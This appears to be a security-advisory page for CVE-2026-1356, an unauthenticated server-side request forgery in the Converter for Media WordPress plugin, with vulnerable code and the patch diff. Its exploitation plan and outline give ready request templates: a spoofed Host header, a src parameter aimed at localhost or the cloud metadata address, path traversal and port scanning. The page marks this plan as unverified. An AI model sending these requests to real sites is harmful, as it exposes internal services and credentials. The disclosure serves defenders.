CVE-2026-1356

Converter for Media – Optimize images | Convert WebP & AVIF <= 6.5.1 - Unauthenticated Server-Side Request Forgery via src

mediumServer-Side Request Forgery (SSRF)
4.8
CVSS Score
4.8
CVSS Score
medium
Severity
6.5.2
Patched in
1d
Time to patch

Description

The Converter for Media – Optimize images | Convert WebP & AVIF plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 6.5.1 via the PassthruLoader::load_image_source function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=6.5.1
PublishedFebruary 11, 2026
Last updatedFebruary 12, 2026

What Changed in the Fix

Changes introduced in v6.5.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-1356 ## 1. Vulnerability Summary The **Converter for Media** plugin is vulnerable to **Server-Side Request Forgery (SSRF)** via its "Pass Thru" image loading functionality. The vulnerability exists in `includes/passthru.php` (which is deployed as `wp-content/…

Show full research plan

Exploitation Research Plan - CVE-2026-1356

1. Vulnerability Summary

The Converter for Media plugin is vulnerable to Server-Side Request Forgery (SSRF) via its "Pass Thru" image loading functionality. The vulnerability exists in includes/passthru.php (which is deployed as wp-content/webpc-passthru.php).

The PassthruLoader class accepts a src parameter via GET, performs a weak validation on the host, and then uses curl to fetch the modified URL. Because the validation relies on $_SERVER['HTTP_HOST'] (which can be manipulated via the Host header) and only checks the host portion of the URL, an attacker can make the server perform requests to internal services or different ports on the same host.

2. Attack Vector Analysis

  • Endpoint: /wp-content/webpc-passthru.php (The location is derived from the parent of the uploads directory).
  • Vulnerable Parameter: src (GET parameter).
  • Required Headers: Accept: image/webp or Accept: image/avif (to trigger the curl path in load_converted_image).
  • Authentication: Unauthenticated.
  • Preconditions: The plugin must have the "Image loading mode" set to "Pass Thru" in settings. This action generates the webpc-passthru.php file on the filesystem.

3. Code Flow

  1. Entry Point: includes/passthru.php (deployed as webpc-passthru.php).
  2. Initialization: The __construct() method captures $_GET['src'].
  3. Validation: validate_src_param($image_url) is called.
    • It extracts the host: $image_host = parse_url($image_url, PHP_URL_HOST).
    • It compares it to the request host: if ( $image_host !== ( $_SERVER['HTTP_HOST'] ?? '' ) ).
    • It checks if the extension is one of ['jpg', 'jpeg', 'png', 'gif', 'png2'].
  4. Trigger: load_converted_image($image_url) is called.
    • It checks the Accept header against MIME_TYPES.
  5. Sink: load_image_source($image_url, $extension) is called.
    • It calls generate_source_url which replaces the upload directory path (e.g., /wp-content/uploads) with the WebP path (e.g., /wp-content/uploads-webpc).
    • It then executes curl_exec($ch) on the resulting URL.

4. Nonce Acquisition Strategy

No nonce is required.
The webpc-passthru.php file is a standalone script that does not load the WordPress environment (it only uses constants defined during its creation). It does not implement any WordPress nonce checks or capability checks.

5. Exploitation Strategy

Step 1: Force Generate the Loader

The loader file must exist. We can use WP-CLI to ensure the settings are correct and the loader is activated.

wp option update webpc_settings '{"loader":"passthru", "extensions":["jpg","jpeg","png","gif"], "output_formats":["webp"]}' --format=json
# Trigger the activation hook logic to write the file
wp eval "do_action('webpc_activate_loader');"

Step 2: Identify Internal Target

We will attempt to hit an internal service or a different port on the local machine (e.g., port 8080 if WP is on 80, or a known internal metadata service).

Step 3: Execute SSRF Request

To bypass the host check:

  1. Ensure the Host header in our request matches the domain in the src parameter.
  2. Use a URL in src that ends in a valid extension but points to an internal resource.

Request Template:

  • URL: http://localhost:8000/wp-content/webpc-passthru.php?src=http://localhost:8000/internal-api/secret.jpg
  • Method: GET
  • Headers:
    • Accept: image/webp
    • Host: localhost:8000

Note on URL Transformation:
generate_source_url will transform:
http://localhost:8000/wp-content/uploads/test.jpg
into
http://localhost:8000/wp-content/uploads-webpc/test.jpg.webp.

To reach an arbitrary path like /etc/passwd or an internal API, we can use path traversal in the src parameter:
src=http://localhost:8000/wp-content/uploads/../../../../internal/api?ext=.jpg

6. Test Data Setup

  1. Plugin Activation: Ensure webp-converter-for-media is active.
  2. Settings:
    • Loading Mode: passthru
    • Supported Formats: webp
  3. Verify File: Confirm /var/www/html/wp-content/webpc-passthru.php exists.
  4. Mock Internal Service: (Optional) Create a file secret-data.txt at the root of the site to simulate internal data.

7. Expected Results

  • The server will receive the request for webpc-passthru.php.
  • The curl instance on the server will make a request to the URL specified in src.
  • If the internal resource returns content, and the curl request is successful (HTTP 200), the plugin will echo the content of the internal resource back to the attacker.

8. Verification Steps

  1. Observe Response: The response body should contain the content of the targeted internal URL.
  2. Access Logs: Check the web server access logs to see the request originating from the server's own IP/localhost to the target specified in the SSRF.
    tail -n 20 /var/log/apache2/access.log
    

9. Alternative Approaches

Host Header Injection

If the target server is behind a proxy that allows arbitrary Host headers, we can set:

  • Host: 169.254.169.254
  • src: http://169.254.169.254/latest/meta-data/image.jpg
    The host check parse_url($src, HOST) === $_SERVER['HTTP_HOST'] will pass because both are 169.254.169.254.

Port Scanning

Iterate through ports on localhost:
src=http://localhost:[PORT]/wp-content/uploads/test.jpg
If the port is open and returns a 200 (unlikely for random ports, but useful for internal services), the response will differ from a closed port (which returns 404 or null via load_image_source).

Research Findings
Static analysis — not yet PoC-verified

Summary

The Converter for Media plugin is vulnerable to unauthenticated Server-Side Request Forgery (SSRF) via the Passthru image loading mode. Attackers can bypass host validation by manipulating the HTTP Host header or using path traversal in the 'src' parameter, allowing them to make requests to internal services or local network resources.

Vulnerable Code

// includes/passthru.php:51
	private function validate_src_param( string $image_url ): bool {
		// ...
		$image_host = parse_url( $image_url, PHP_URL_HOST );
		if ( $image_host !== ( $_SERVER['HTTP_HOST'] ?? '' ) ) { // phpcs:ignore WordPress.Security
			return false;
		}

		$image_extension = strtolower( pathinfo( $image_url, PATHINFO_EXTENSION ) );
		if ( ! in_array( $image_extension, [ 'jpg', 'jpeg', 'png', 'gif', 'png2' ] ) ) {
			return false;
		}

		return true;
	}

---

// includes/passthru.php:99
	private function load_image_source( string $image_url, string $extension ) {
		$url = $this->generate_source_url( $image_url, $extension );
		$ch  = curl_init( $url );
		if ( $ch === false ) {
			return null;
		}

		curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
		curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, 0 );
		curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );

		$response = curl_exec( $ch );
		$code     = curl_getinfo( $ch, CURLINFO_HTTP_CODE );
		curl_close( $ch );
		// ...

Security Fix

--- includes/passthru.php
+++ includes/passthru.php
@@ -16,6 +16,7 @@
 	const PATH_UPLOADS      = '';
 	const PATH_UPLOADS_WEBP = '';
 	const MIME_TYPES        = '';
+	const SITE_HOST         = '';
 
 	public function __construct() {
 		if ( ( self::PATH_UPLOADS === '' ) || ( self::PATH_UPLOADS_WEBP === '' ) || ( self::MIME_TYPES === '' ) ) {
@@ -50,7 +51,7 @@
 		}
 
 		$image_host = parse_url( $image_url, PHP_URL_HOST );
-		if ( $image_host !== ( $_SERVER['HTTP_HOST'] ?? '' ) ) { // phpcs:ignore WordPress.Security
+		if ( $image_host !== self::SITE_HOST ) {
 			return false;
 		}

Exploit Outline

1. Identify the 'webpc-passthru.php' file location (typically in the parent directory of the WordPress uploads directory, often site root or wp-content). 2. Target an internal service or the local loopback (e.g., http://localhost:8080/internal-data.jpg). 3. Craft a GET request to 'webpc-passthru.php' with the 'src' parameter pointing to the target URL. 4. To bypass host validation, include an 'HTTP Host' header in the request that matches the host specified in the 'src' parameter (e.g., Host: localhost:8080). 5. Ensure the 'Accept' header includes 'image/webp' or 'image/avif' to trigger the curl-based passthru logic. 6. If the target resource exists and returns a 200 OK, the server will proxy the response content back to the attacker.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.